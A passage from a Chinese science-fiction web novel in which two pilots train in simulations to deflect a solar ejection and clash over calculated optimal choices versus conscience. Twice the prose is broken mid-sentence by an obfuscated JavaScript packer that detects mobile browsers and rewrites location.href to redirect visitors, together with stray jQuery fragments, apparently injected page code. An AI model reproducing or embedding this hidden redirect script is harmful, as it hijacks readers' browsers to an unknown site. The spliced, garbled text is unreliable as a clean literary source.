“记录下来了。”他最终开始更新模型,“下次遇到类似情况,我会把局部密度波动作为一个可观测变量加入计算,给出更精确的答案。” “那你得把我也算进去。”怀从咎笑了,“因为只有我能感觉到。” 第一次模拟任务顺利完成。他们在模拟时间第七天抵达近日点坐标,系统评估显示任务成功率:71%。 “不错。”怀从咎看着评估报告,“第一次就有七成。” “但现实中的干扰会比模拟更复杂。”祝觉明提醒,“而且,我们还没处理最核心的问题——” 话音未落,第二次模拟开始。 场景重置。他们又回到发射前状态。但这次,任务目标变了: 【场景02:多故障叠加环境】 【目标:在系统持续劣化下维持航行】 【特殊事件:随机生成,难度递增】 【训练重点:资源分配与优先级决策】 这次更难。 发射后一小时,三个故障同时出现:导航偏移,通讯干扰,还有——模拟出的“船员伤亡”。 不是真人,是AI生成的虚拟乘员。系统提示,在一次舱壁微陨石击穿事件中,两名工程师“受伤”,需要医疗资源。同时,飞船的维修机器人有一半因电力波动而失灵。 祝觉明调出资源分配界面。 “医疗资源有限。”他快速分析,“如果全力救治两名伤员,会占用百分之四十的维生系统算力,导致环境控制稳定性下降。建议按标准流程:评估伤势,优先救治存活概率高者,另一人转入低温休眠,节省资源。” 怀从咎盯着监控画面里那两个虚拟人物的生命体征数据。 “伤势评估结果呢?”他问。 “工程师A:胸部贯穿伤,内脏受损,救治成功率32%。工程师B:腿部骨折加失血,救治成功率78%。” “所以按你的模型,应该全力救B,让A休眠。” “这是最优解。”祝觉明点头,“总生存期望最高。” 怀从咎沉默了几秒。 然后他操作控制台,调出了飞船结构图。 “微陨石击穿的位置在哪里?” “左舷第三维修通道。” “那个通道,”怀从咎放大图像,“旁边就是主氧气管路。如果舱壁破损导致管道泄漏,我们需要人手去紧急修复。工程师A和B,谁更熟悉那一片的系统?” 祝觉明查档案:“A。他在船厂参与过左舷系统的安装调试。” “所以如果管道泄漏,A的修复速度会比B快多少?” “根据技能评估……大概快百分之四十。” “那如果我们救A,他恢复后能参与修复工作的概率是多少?” 祝觉明计算:“以32%的救治成功率算,即使救活,他完全恢复工作能力也需要至少模拟时间四十八小时。而氧气管路如果泄漏,必须在两小时内修复。” “所以救A没用。”怀从咎得出结论,“那我们救B。” 祝觉明愣了一下:“但你刚才的问题——” “我只是在确认。”怀从咎说,“确认你的‘最优解’是不是真的最优。现在看来,是。那就按你的来。” 他批准了医疗方案。工程师B被全力救治,A转入休眠。 但事情没完。 一小时后,氧气管道真的泄漏了——不是微陨石导致的,是系统模拟的连锁故障。压力下降警报响起。 怀从咎看着修复任务列表,又看了看医疗舱里还在抢救的工程师B。 “维修机器人能处理吗?”他问。 “机器人电力问题还没解决,只有三台可用。管道修复需要四台协同作业。” “那就从别的系统调一台过来。” “调来的话,冷却系统的例行维护会延迟。延迟风险:百分之十五的概率导致局部过热,引发二级故障。” 怀从咎揉着太阳穴。这些选择题一个接一个,每个都有代价。 “给我第三个选项。”他说。 “没有第三——” “有。”怀从咎打断他,“我出舱,手动修复。不需要机器人。” 祝觉明皱眉:“你出舱,主控室就没人了。如果期间出现导航危机——” “所以你要同时处理导航。”怀从咎已经开始穿宇航服,“把关键数据投影到我的面罩显示器上。我能边修边看。” “这违反安全规程——” “规程是为了提高生存概率。”怀从咎戴上面罩,声音通过通讯器传出,有点闷,“现在我的方案概率更高。不是吗,博士?算一下。” 祝觉明快速计算。怀从咎出舱修复:成功率85%,期间飞船因单人手控的风险增加,但整体系统崩溃概率从30%降到12%。机器人方案:成功率70%,但冷却系统故障风险叠加。 “你的方案确实更优。”他承认。 “那就批权限。” 祝觉明批准了。 怀从咎再次出舱。这次修复更复杂,需要更换一段破损的管道。他在太空中作业,动作熟练得像做过千百遍。祝觉明在舱内监控着所有系统,同时处理导航修正——太阳风又开始扰动,航线需要微调。 两人配合。祝觉明提供数据,怀从咎执行操作。没有多余的话,只有必要的指令和确认。 管道修复完毕,怀从咎回舱。他脱下面罩时,额头上都是汗。 “好了。”他喘了口气,“继续。” 任务继续。 但故障越来越多。模拟系统像是故意在测试他们的极限:电力波动,通讯中断,导航信号丢失,甚至模拟出一次小规模的船体结构疲劳裂痕。 每一次,祝觉明都给出基于模型的优化方案。每一次,怀从咎都会问几个问题,然后要么执行,要么提出修正。 大多数时候他执行。但有时,他反对。 6. 把谁送去嫁给太阳,当新娘。? 第三次反对发生在模拟时间第十一天。 当时他们遇到一个多重故障场景:主引擎燃料输送不稳定,备用引擎需要预热才能启动。同时传感器检测到前方有微陨石群,祝觉明的方案是立即启动备用引擎预热、同时调整航线避开陨石群。 但调整航线需要消耗额外的燃料,而燃料已经不足。 “避开陨石群的代价是,抵达近日点的燃料会缺百分之五。”祝觉明看着操控板,“但如果不避开,被陨石击中的概率是百分之十七。一旦击中,任务直接失败。” “陨石群密度呢?”怀从咎划拉了几下,“不均匀。有间隙?” “能穿过去吗?”祝觉明自己也怀疑,“间隙宽度最小处是飞船直径的一点五倍。穿过的成功率百分之四十三。” “那如果被击中,最可能的结果是什么?” “取决于击中位置。如果是非关键区域,只是损伤,可以修复。如果是关键区域——”祝觉明调出飞船脆弱点分布图,“比如燃料舱或反应堆,会立即爆炸。” 怀从咎盯着星图上的陨石群数据。那些小光点密密麻麻,但确实有缝隙。 “我穿过去。”他最终决定,转头看向祝觉明,“我晓得成功率不到一半,但省下的百分之五燃料可能在最后关头救我们的命。” “博士,你的模型算了避开的风险,但算了省下燃料的收益吗?” “算了。长期收益低于短期风险。” “长期是多长?” “从当前到任务结束的整体期望。” “期望是平均值。”怀从咎摇头,“实际情况是我们只有一次机会。要么活、要么死,平均值没意义。” 他调整航线,朝着陨石群的缝隙直冲过去。 祝觉明想反对,但数据已经显示怀从咎做出了决定;他只能配合,监控传感器,提供实时修正。 飞船冲进缝隙。 陨石在舷窗外掠过,最近的几乎擦着船体;警报狂响,防撞系统自动发射拦截弹、打碎几块较大的碎石。碎片打在船体上,发出咚咚的闷响;怀从咎的手稳得像焊在操纵杆上,他不断微调姿态,让飞船在狭窄的通道里穿梭、有时他做出的规避动作和祝觉明模型建议的方向完全相反,但奇迹般地那些动作都有效。 二十秒后,他们穿出来了。 船体有些微损伤,但都不致命;燃料节省了百分之五点三,怀从咎松开操纵杆,手在微微发抖。 “看,”他呼出一口气,“又过来了。” 祝觉明检查完系统,沉默了很久。 “你的操作,有七处违反了理论最优路径。” “但结果更好。” “这次是。下次可能不是。” “那就下次再说。”怀从咎靠在椅背上,闭上眼睛,“博士,你相信你的模型,我相信我的手和眼睛。我们可以吵,但最终,飞飞船的人是我。所以最后的决定权,必须在我这里。” “即使决定是错的?” “即使决定是错的。”怀从咎睁开眼看着他,“因为坐在这个椅子上,承担责任的人,是我。” 祝觉明与他对视。两人之间隔着控制台的宽度、隔着理念的鸿沟,隔着理性与直觉的战场。 最终,祝觉明点头。 “明白了。”他转身,“我会继续提供计算。但决策权,归你。” 这是妥协,也是认可。 之后的模拟两人终于逐渐找到节奏,祝觉明给出数据和方案,怀从咎问关键问题然后决定;有时他全盘接受、有时他修改细节,有时他完全推翻。 效率在提高。 第三次模拟,任务成功率评估到了79%。 但冲突依然存在。 最激烈的一次冲突,发生在第三次模拟的尾声。 当时他们接近近日点,距离引爆窗口还有模拟时间三小时;飞船突然遭遇强烈的太阳风冲击,护盾系统过载。同时,系统模拟出一个“道德困境”场景: 一艘虚拟小型科研船在同一区域失事,发出求救信号。如果他们去救援,会错过引爆窗口,任务失败;如果不去,那艘船上的人会死。 祝觉明调出数据。 “科研船上有五人。如果我们不去,生存概率0%;如果我们去,他们存活概率60%,但我们错过窗口,地球承受抛射,七十亿人死亡。” 他看向怀从咎。 “计算很明确。最优解是:继续任务,放弃救援。” 怀从咎盯着求救信号。那是标准的遇险代码,一遍遍重复。 “他们怎么会在这种地方?”他嘶了一声,“科研船在执行太阳观测任务,遭遇突发风暴?” “是,”祝觉明看着任务板,“我们能分出一艘救生艇吗?” “救生艇往返需要两小时。我们只有三小时窗口。”怀从咎思忖 “那如果我们调整航线,顺路经过他们,实施快速救援呢?” “顺路经过需要多花二十七分钟。”祝觉明略算了一下,“这二十七分钟会导致我们抵达近日点的时间延后,错过最优引爆时机。成功率会从79%降到61%。” “降多少?” “十八个百分点。” 怀从咎沉默。他的手指在操纵杆上敲击,敲了十七下,像在听那十七个人的心跳。 尔后他开口: “去救。” “你确定?”祝觉明抬起头,“为了五个虚拟的人,降低十八个百分点的成功率?” “确定。” “为什么?” “因为如果不去,”怀从咎转过来,看着他,眼睛里有种祝觉明看不懂的情绪,“我就不是我了。我就变成了……你模型里的一个变量。一个只会算概率,不会救人的机器。” 祝觉明站起来。 “怀从咎,这不是游戏。虽然现在是模拟,但模拟的是现实。在现实中,那五个人的命是命,七十亿人的命也是命;你的感觉,你的良心,在数学面前没有意义。最优解就是最优解,感情用事只会导致更糟的结果。” “更糟的结果?”怀从咎也站起来,“什么叫更糟?七十亿人活,五个人死,就叫好?七十亿人可能死,五个人活,就叫糟?博士,你的最优是谁定义的?是你的公式吗?” “是逻辑。”祝觉明的声音提高了一点——这是他第一次在训练中显露出情绪,“逻辑告诉我们,救更多的人。逻辑告诉我们,为整体牺牲局部。逻辑告诉我们,个体情感在文明存续面前,必须让步。” “那如果有一天,”怀从咎走近一步,“逻辑告诉你要牺牲我,或者牺牲陈启,你会毫不犹豫地签字吗?” 祝觉明顿住了。 他的左手无意识地握紧,戒指硌在掌心。 “如果必要,”他最终说,声音低下去,“我会。” 怀从咎笑了。那笑容里没有温度。 “我早就知道。”他点头,“从一开始就知道。你看着所有人的眼神,都像在看数据点。陈启崇拜你,你知道吗?他觉得你是天才,是人类希望。但他不知道,在你眼里,他可能只是个技能评分第三的变量。” “我没有——” “你有。”怀从咎打断他,“你刚才说工程师A存活概率32%,工程师B存活概率78%的时候,语气像在念实验报告。那两个人——虽然是虚拟的——但你在说他们生死的时候,没有一点犹豫。” 他转回控制台,看着求救信号。 “我不会变成你那样。”他笃定,“我去救。你可以反对,可以记录,可以回去打报告说我不合格。但在这里,现在,飞船听我的。” 他推动操纵杆,调整航线,朝着求救信号的方向。 祝觉明站在原地,看着他操作。数据流在屏幕上滚动,显示着成功率在持续下降:79%...75%...71%... 最终停在61%。 他们救起了科研船上的五个人。虚拟的船员感激涕零,但祝觉明没有看他们。他看着倒计时,看着错过的最佳窗口,看着任务成功率评估从“高”跳成“中”。 引爆还是完成了。但效果打了折扣。模拟结果显示,抛射体只被偏转了三分之一,地球还是会受到严重冲击。 任务失败。 模拟结束。 场景淡出,他们回到纯白色的准备空间。系统评估弹出: 【场景03完成】 【任务结果:部分成功(救援完成,主要目标未达成)】 【决策评估:怀从咎指挥官违反最优方案7次,其中3次导致效率损失,4次提升生存概率】 【协作评估:理性与感性冲突显著,需进一步磨合】 【总训练进度:67%】 文字悬浮在空中,发着冷光。 怀从咎脱下模拟中的工作服,换上原本的衣服。他背对着祝觉明,没说话。 祝觉明也沉默。他在消化刚才的一切。 三个月的模拟训练——虽然现实只过了三秒——让他们经历了上百次危机,数十次分歧,还有那次激烈的对峙。他收集了海量数据,更新了模型,甚至开始尝试为怀从咎的“直觉”建立数学描述。 但他也看到了那道鸿沟。 那道理性与感性之间,计算与良知之间,最优解与“人之所以为人”之间的鸿沟。 “时间到了。”系统的声音响起,“意识链接将在十秒后断开。9...8...” 怀从咎终于转身。 “博士,”他说,“训练归训练。现实中,如果真遇到那种情况——五个真人,七十亿人——我会做同样的选择。你呢?” 祝觉明看着他,镜片后的眼睛平静无波。 “我会执行最优解。”他回答。 “即使最优解是看着人死?” “即使最优解是看着人死。” 怀从咎点了点头,像是终于确认了什么。 “好。”他说,“那我们至少都知道对方是什么样的人了。” 倒计时归零。 黑暗。 然后感知回归。 维生舱盖打开,光线涌进来。怀从咎坐起身,凝胶从身上滑落。他眨了眨眼,现实世界的感知重新接入——轻微的耳鸣,皮肤的触觉,还有空气中那股淡淡的消毒水味。 三秒。只过了三秒。 但记忆里装着三个月的训练,装着上百次的生死抉择,装着最后一次的争吵。 祝觉明也从隔壁舱起身。他摘掉贴在身上的神经贴片,动作依然平稳,但脸色有些苍白。戒指表面,蓝光在持续闪烁,频率比进入前快了不少。 林静渊的影像还在控制台前。 “训练完成。”她含笑,“神经适应性良好,无副作用。数据已上传至指挥中心。两位可以休息片刻,一小时后进行任务简报。” 怀从咎爬出维生舱,用毛巾擦干身体。他看向祝觉明,发现对方也在看他。 两人对视。 三个月的模拟,没有拉近距离,反而让他俩更想吵架。 “洗澡,换衣服。”怀从咎最终打破沉默,“十分钟后见。” 他走向更衣室。 祝觉明留在原地,低头看着自己左手。戒指的蓝光还在闪,像警告或提示。 林静渊的影像飘到他面前。 “祝博士,”她轻声,“训练中,你是否感知到任何异常的杂音?” 祝觉明抬起眼。 “有。”他承认,“在第三次模拟的最后阶段,接近近日点时。杂音出现了规律性增强,频率和太阳活动模拟数据有微弱同步。” “你记录了吗?” “系统应该自动记录了。”祝觉明顿了顿,“那是什么?” 林静渊沉默了几秒。 “可能是模拟系统的背景噪声。” 不必在意。 但她避开了目光。 祝觉明看着她,又看看自己戒指上闪烁的蓝光。 他没再追问。 他转身走向更衣室,门在身后合拢。 控制室里,只剩下林静渊的影像;她调出训练数据记录,快速浏览。在第三次模拟的最后三分钟,祝觉明的脑波谱出现了一处异常峰值、有规律的谐波频率和怀从咎灼痕的能量读数波动,完全一致。 她盯着那两条重合的曲线,看了很久。 尔后关掉了界面。 就在那一瞬…… ——爆炸在地心深处轰然炸响。 “什么情况?”怀从咎探头,手里还提着衣服,“谁能袭击到这里?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174311|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “聂宜生不是去继续会议了吗,”祝觉明打开门,“发生了什么?” 门外走廊里。 怀从咎刚换上干净衣服,就听见通讯器响。 是陈启。 “老大!你们训练完了?怎么样怎么样?” “还行,死不了,”怀从咎按下接听,“爆炸声怎么回事?” “那就好!我刚把飞船的护盾又调了一遍,现在峰值输出能到设计值的百分之一百零五;虽然超载有风险,但关键时刻能救命!至于爆炸,地月轨道实弹演习突遭神秘舰队袭击,袭击者已经在抓了;话说,你们真的要开飞船去撞太阳啊?” 年轻人的声音充满活力,透过通讯器传来,让怀从咎想起了模拟里那个崇拜的眼神、想起完全没有必要的牺牲。 “陈启。”他哑声,“嗯,是。” 现在的情况是,聂宜生他们会先用导弹碰撞的对冲和大气层护盾等先延缓日冕抛射;而祝觉明和自己将开着飞船去偏转轨道,尽管那个飞船原先就是个不在乎工人死活的维修船改的。 似乎好像前几日死了个工人,最后的讯息还没传回地球;反正联合组织压消息了,小碎催的家属非要闹那就给钱、再去分房发工资整点补偿,无所谓。 可是不把工人的命当命的统治阶级能存在多久呢? 不在意劳动者牺牲的领导又能再这个位置上坐多久呢? 正当牺牲?真会找借口。 怀从咎如此想着,在陈启一声“嗯?”后,终究是开了口。 “如果……我是说如果。有一天,必须在任务和你之间选一个,你会怎么选?” 通讯那头沉默了几秒。 “老大,你怎么问这个?” “随便问问。” “那……我会选任务。”陈启的声音听起来很是认真,“因为任务关系到很多人。而且我知道,如果是老大你做决定,一定是不得不选的时候。我信你。” 怀从咎握紧了通讯器。 “你傻。”他低声,“……联合组织有什么好值得你卖命的呢。” “啥?”陈启没听清,“你说啥?” “没什么。继续干活。一小时后见。” 他挂断通讯,靠在墙上。 走廊另一头,祝觉明走出来,已经换好衣服戴回了眼镜。他看见怀从咎,点了点头,算是打招呼。 两人并肩走向简报室。 三个月的模拟,三秒的现实。 前方还有真正的任务,真正的太阳,真正的生死。 以及那些,还没说出口的真相。 怀从咎走着走着,忽然开口: “博士。” “嗯。” “现实中,我不会让你轻易牺牲任何人。” 祝觉明脚步顿了顿。 “包括你自己?”他偏头,“你怎么保证你一定做得到。” “包括我自己。”怀从咎离他远了几步,“所以算的时候,记得把我算进去。如果作为变量我就揍你,我要你把我作为队友。” 祝觉明转头看他。走廊的光线在他镜片上反射,看不清眼神。 “好。”他的语气听不出情绪,“我把你当人。” 两人继续往前走。 脚步声在走廊里回荡,一前一后,渐渐同步。 而在他们看不见的深层系统里,协议第七章的倒计时,又跳了一格。 现实时间还剩多少,隐于尘烟中,看不见。 ——— 出发前最后一次训练。 “袭击者捉到了。能保证出征仪式没有问题。” “噢?”彼时祝觉明在算地球防御还能撑多久,“汇报。” “家庭教会这个组织你听过吗,总部取个名儿叫坎巴列拉(Cambariella)的那群回归派残余分子。他们旨在夺取火种飞船的控制权,认为计划是送死,夺取飞船是为一小撮精英争取逃亡时间。” “嗯,”祝觉明不置可否,“不是想阻止我们跟那群观测者作弊?” 手下静默了一瞬,接着汇报。 “袭击者使用的是从火种计划早期废弃的哨兵防御子系统逆向工程而来的技术。该系统的负责处理部门……” 是郭山错。 “内部管理存在漏洞或被刻意利用呗,”祝觉明笑了一下,“我说,你机灵点,可别让怀从咎知道现在人类文明已经被判定为妄动了。” “老大,”手下有些不解,“他处处和您对着干还聊不到一搭,您……” “陈年旧事。”祝觉明打断他,“你有闲情逸致问问问,不如替我跑腿,把这些数据丢给苏持风、她提的计划她核验。” “好。”手下略一低头,“我去了。” 手下走后,祝觉明抬头看着面前宽广的数据屏,什么都没说,撤了隐蔽目障。 一望无垠的太空顷刻间从漂亮璀璨的星河烂漫转变为一片赤灼的滚烫,灼人热浪似乎能向他直接轰来、没有防护就是灰飞烟灭。祝觉明直视着愈加迫近的太阳,淡淡一笑,想起文件上那帮子回归派搁审讯室里还对着墙跪下来双手合十嘀嘀咕咕祈祷。 “太阳好似新郎步出洞房,又似勇士欢欣奔跃。它由天之尽头升起,绕行天边,直回原处;万物莫不感受它的热力。” 他咋记得他们的教义里还有“我何曾见太阳照耀,明月皓皓运行,而心暗中迷惑,……这也是应受惩罚的罪过。”,让他们别盲目崇拜。 太阳太阳太阳。 他耳朵听得都要起茧子了。 工作工作工作。 当一件事看起来很伟大很有趣很壮阔但三番五次提啊提啊提,那一点都没意思,因为是上班。譬如录综艺不是拿钱玩而是在乌泱泱的镜头下若无其事、譬如联合组织看起来高高无上实则出门指不定就会被丢菜叶子,但凡读过书的都会骂一句粉饰太平。 至于地球…… 祝觉明略拨了下屏幕,看着湛蓝的不规则球体,想起那些判定和即将到来的审判。 这到底是让他带人去答辩还是带个人去上供,把地球的毕业牵系在他们身上还是他作为陪嫁丫鬟送个可能让太阳满意的童男子去嫁人。 开什么玩笑。 “同异发明,因此复立,无同无异。” 7. 完美陷阱 逐日计划出发前,最后一次恢宏数据流训练。 “此次难度风险阈值最高,不出现意外才是意外……” 舷窗外那轮占据了大半个视野的太阳沸腾咆哮,日冕物质如金色的巨浪在虚空中翻卷、每一道浪尖都迸发出足以汽化钢铁的能量。 美得令人窒息,也致命得令人战栗。 “航线已锁定。”祝觉明的声音从右侧工作站传来,听不出任何情绪,“距离第一预定坐标还有四十七秒。护盾负载:62%,在安全阈值内。” 怀从咎推动操纵杆。飞船响应灵敏得可怕,在模拟中,所有性能参数都被优化到了理论极限——这反而让他心生警惕。 太完美的东西,往往意味着隐藏的陷阱。 【警报:主散热回路效能衰减】 【建议:启动备用散热系统,降低引擎功率15%】 果然,在切入近日点轨道的瞬间,第一个故障弹出。 祝觉明几乎在警报亮起的同时就给出了方案:“备用系统启动需八秒,期间右舷引擎温度将上升至临界值的92%。我建议同步调整姿态,利用船体阴影面进行被动散热,可争取额外三秒缓冲。” “被动散热效率多少?” “在当前辐射环境下,约等于杯水车薪。”祝觉明看着操控台,“但可降低0.7%的过载风险。” “那就做。” 怀从咎没有犹豫。他手上动作快如闪电,左手调整动力分配、右手修正航线角度,飞船以毫厘之差偏转精微度数,将脆弱的右舷引擎藏进船体自身的阴影中。舷窗外太阳的光芒擦着装甲板掠过,炽烈的光子洪流在特种陶瓷表面激起一片刺目的白光。 三秒后备用散热系统嗡鸣着启动,温度曲线险险压在红色警戒线下方。 “第一个。”怀从咎呼出一口气,这才发现自己的掌心有些湿,“还算客气。” “故障间隔通常呈指数级缩短。”祝觉明调出历史数据模型,“根据前三百次模拟记录,下一个故障将在两分十四秒内出现,且复杂度可能提升37%以上。” “你就不能预测点好消息?” “好消息是,”祝觉明推了推眼镜,“模型显示你有68%的概率能活着见到第三个故障。” 怀从咎嗤笑一声,没再接话。他的全部注意力已重新聚焦于前方——飞船正切入一段极度扭曲的磁力线区域,导航信号开始出现雪花状干扰,全息星图上的路径线像受惊的蛇般疯狂抖动。 “引力湍流。”祝觉明快速敲击虚拟键盘,“建议切换至手动惯性导航,参照系以太阳黑子群A-7为基准点。” “基准点正在扭曲。” “所以我每一点五秒会给你一次坐标修正。”祝觉明的语速快而清晰,“信任我的计算,或者信任你的眼睛。” 怀从咎选择了后者。但他没有关闭祝觉明的数据流——那些不断跳动的数字、曲线、概率百分比……像第二双眼睛在他意识边缘提供着参考,理性与直觉在这一刻形成古怪的共生、飞船在湍流中颠簸前行,像暴风雨中的一叶扁舟。每一次震动都通过座椅骨骼传导至全身,怀从咎能感觉到自己的心跳与引擎脉冲逐渐同步,节奏感从脊椎升起、流过四肢,最终汇聚于他的操作。 他开始出现无法用训练手册解释的偏移,向左多偏半度或推力早开零点三秒、姿态调整的幅度比最优解大那么一点点。 而每一次偏移都恰好避开了隐形的引力陷阱。 祝觉明注意到了这些偏差。他的计算模型在疯狂报错,概率预测曲线像癫痫发作般上下乱跳。但现实结果是——飞船的轨迹正在以高于理论值11%的效率穿过湍流区。 “你……”他忍不住开口,“刚才那个规避动作,依据是什么?” “感觉。”怀从咎头也不回,“那片空间硌得慌,像有看不见的石头。” “空间没有质感。” “对我有。” 对话戛然而止。祝觉明沉默地记录下这一现象,在模型的备注栏里敲下一行字:“变量H-01(怀从咎)表现出对高维引力扰动的非标准感知能力。需进一步量化,但当前缺乏理论框架。” 他刚敲完回车,第二个故障来了。 而且一来就是三个。 【警报:护盾发生器B组超载】 【警报:导航数据库部分损毁】 【警报:维生系统二氧化碳浓度异常上升】 三行血红色的文字同时霸占了主屏幕,警告音效叠加成刺耳的尖啸;怀从咎骂了句脏话,他的双手在控制台上飞舞,几乎化作残影——先切断了B组护盾的能源供应,将负载转移至A、C两组、同时调出备用星图,手动输入关键坐标,最后才腾出手来检查维生系统日志。 “二氧化碳浓度在三十秒内上升了400ppm。”祝觉明看向怀从咎,“泄漏排除,循环系统的催化滤网失效、化学吸附能力归零。” “能修吗?” “需要更换滤芯。操作耗时至少六分钟。” “我们没有六分钟。”怀从咎盯着前方——飞船即将穿过一片日冕抛射的余波区,那里的高能粒子密度足以在十秒内让未受保护的人类器官衰竭,“护盾现在只剩两组撑着,再分能源给维生系统的话……” “护盾崩溃概率会升至89%。”祝觉明接上了他的话,“但如果不修复维生系统,在穿过余波区后,舱内二氧化碳浓度将达到致死水平。届时即使护盾完好,你们也会在昏迷中坠入太阳。” 典型的二选一。 典型的祝觉明最擅长计算的用概率衡量的生死抉择。 怀从咎却突然笑了。 “博士,”他轻笑,“你的模型里,有没有算过第三种可能?” “什么?” “比如,我们根本不用穿过那片余波区。” 祝觉明怔住了。他调出航线图——前方确实只有一条路径,两侧是更强烈的辐射带,像悬崖间的独木桥。 “没有其他路线。”他摇头,“怎么可能。” “现在有了。” 怀从咎做了一个让所有飞行手册都会当场撕碎的动作:他将主引擎推力提升至120%超载状态,同时猛拉操纵杆;飞船昂首向上朝着那片被视为绝对禁区的日珥喷发的垂直方向冲去、祝觉明被冲击推的后仰、罕见的提高了音量。 “你疯了?!那里是日珥根部!温度超过一百万度,磁力强度足以把飞船撕成——” 他的话没说完。 因为就在飞船即将撞入那片金色地狱的瞬间,怀从咎切断了所有主动推进系统;飞船依靠惯性继续上升,而与此同时,一道前所未有的巨型日珥恰好从下方喷发而出——灼热的等离子体洪流以每秒数百公里的速度冲天而起,形成了一道壮观的通天彻地的火焰之柱。 而飞船就在那道火焰之柱的边缘。 不,不是边缘。 怀从咎精确计算过的角度和速度让飞船恰好被日珥爆发产生的冲击波推了一把,就像冲浪者借助浪峰的推力、飞船沿着日珥的侧斜面向上滑行,以违背所有物理常识的方式绕开了正前方的余波区。 舷窗外是沸腾的金色海洋。最近的等离子体流距离船体不足三百米,炽烈的光芒透过多层防护窗依然刺得人睁不开眼。温度报警器在疯狂嘶鸣、护盾负载瞬间冲破了红色警戒线。 但飞船没有融化。 它在燃烧的悬崖边跳舞。 祝觉明僵在座位上。他的大脑——那台从未出过错的精密仪器——此刻一片空白。数据流还在滚动,模型还在计算,但所有结果都显示同一个词:不可能。 概率是零。 理论上不可能。 违反了七条基础物理定律。 他记得他们出发之前林静渊的合成音在准备舱内平静响起,像在陈述既定的定律;祝觉明站在数据接口前,铂金戒指表面泛起规律的微蓝光晕,与全息投影中滚动的代码流形成隐秘的共振、而怀从咎已经戴好了神经驳头盔,坐在模拟驾驶舱内右手随意搭在操纵杆上有一下没一下地轻敲着金属表面。他锁骨处的灼痕被作战服领口半掩,只在动作间露出一线淡金色光泽——那光泽此刻异常平静,像暴风雨前蛰伏的火星。 “训练目标:完整模拟从近日点切入到炸弹引爆的十一分钟窗口。”祝觉明调出任务概要,声音透过通讯频道传入怀从咎耳中,“系统将随机生成三到五个复合故障。你的任务是——” “活着飞过去,按下按钮,然后看运气能不能逃出来。”怀从咎打断他,轻松的像他们要去一起吃顿饭而不是模拟训练,“我知道流程,博士。开始吧。” 祝觉明看了他一眼,没再说话。他在控制台前坐下,接入系统。恢宏数据如瀑布涌入他的意识——飞船状态、太阳活动预测、引力场梯度、辐射波动谱……他的大脑开始自动分类、计算、建模,戒指的蓝光闪烁频率加快,压制着那些随着数据流一同涌来的“背景杂音”。 那是宇宙的哀鸣,可他对自己说只是噪声。 “模拟启动。倒计时三、二、一——” 白光吞没一切。 一如此刻,飞船确实在飞。 “抓紧了!”怀从咎的吼声透过通讯频道传来,压过所有警报,“要冲出去了!” 他猛地将操纵杆推到底,备用引擎在超载状态下发出濒死的哀鸣,飞船像一枚被弹弓射出的石子、从日珥的边缘挣脱,划出一道陡峭的抛物线,重新落回相对安全的轨道;当舷窗外再次出现漆黑的星空时,主控室里只剩下两人粗重的呼吸声,以及系统逐渐平复的警报余音。 怀从咎松开操纵杆,发现自己的手在不受控制地颤抖。是肾上腺素过度分泌后他依然心有余悸,他转头看向祝觉明,后者仍盯着屏幕、脸色苍白。 “你……”祝觉明开口,声音嘶哑得几乎听不见,“你怎么知道……日珥会在那时喷发?” “我不知道。”怀从咎靠回椅背,长长吐出一口气,“我只是感觉到……那里有什么东西要胀破了。就像你按一个气球,感觉到它快要炸的那一刻。” “感觉。”祝觉明重复这个词,像在咀嚼一块苦涩的金属,“又是感觉。” “但它救了我们的命。”怀从咎补充,“虽然只是模拟中的命。” 祝觉明沉默了。他低头看着自己颤抖的手,看着戒指上那些失控的蓝光;那一瞬间,在飞船冲向日珥的瞬间,他听到直接在大脑深处响起的韵律。 清晰而有序,像心跳又像钟摆,与怀从咎锁骨处那时隐时现的灼痕光芒,形成了完美的同步。 该死。 他的耳鸣,他的过去,怎么会共振? “继续任务。”他最终只是这样说,声音重新恢复了平静,“引爆窗口还有四分十一秒。” 像再次睁开眼时已置身于近日点号的主控室。 之后的航程相对平稳。系统像是被刚才那番操作震慑住了,只象征性地抛出了几个小故障,都被怀从咎随便解决、毕竟没什么能比日珥大爆炸更吓人。 但祝觉明的心神已无法完全聚焦于数据。 他意识深处那阵韵律仍在回响,每当他看向怀从咎,看向那道灼痕、它就会变得更强;而与之相应的是他左手戒指的蓝光闪烁——那不是抑制器在工作,相反,他感觉抑制器正在失效。那些被屏蔽的杂音正以前所未有的清晰度涌入他的感知,他感觉到自己的工作出现了偏颇。 “抵达预定坐标。”怀从咎的声音将他拉回现实,“炸弹状态?” “已就位。”祝觉明强迫自己集中精神,“倒计时三十秒启动。护盾最大功率聚焦于船首,准备承受冲击波反冲。” 全息屏幕上太阳像一颗跳动的心脏占据了一切,近日点的距离近到令人产生幻觉——仿佛伸出手,就能触摸到那永恒的燃烧。 “十、九、八……” 怀从咎开始倒数。 他的声音稳得不像一个即将引爆炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174312|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹、将自己抛入生死未知境地的人。 祝觉明看着他的侧脸。汗水沿着鬓角滑下,在下颌处凝成水珠,在控制台的冷光中微微发亮;那道锁骨上的灼痕此刻正散发出柔和的琥珀色光晕,像一枚嵌入血肉的、活着的琥珀。 “……三、二、一。引爆。” 没有声音。 在太空中,爆炸是寂静的。 只有光——纯粹到极致的光,从飞船前方迸发、瞬间吞噬所有视野。护盾在冲击下发出濒临破碎的呻吟,船体结构咯吱作响,像一只被攥在手中的铁鸟。 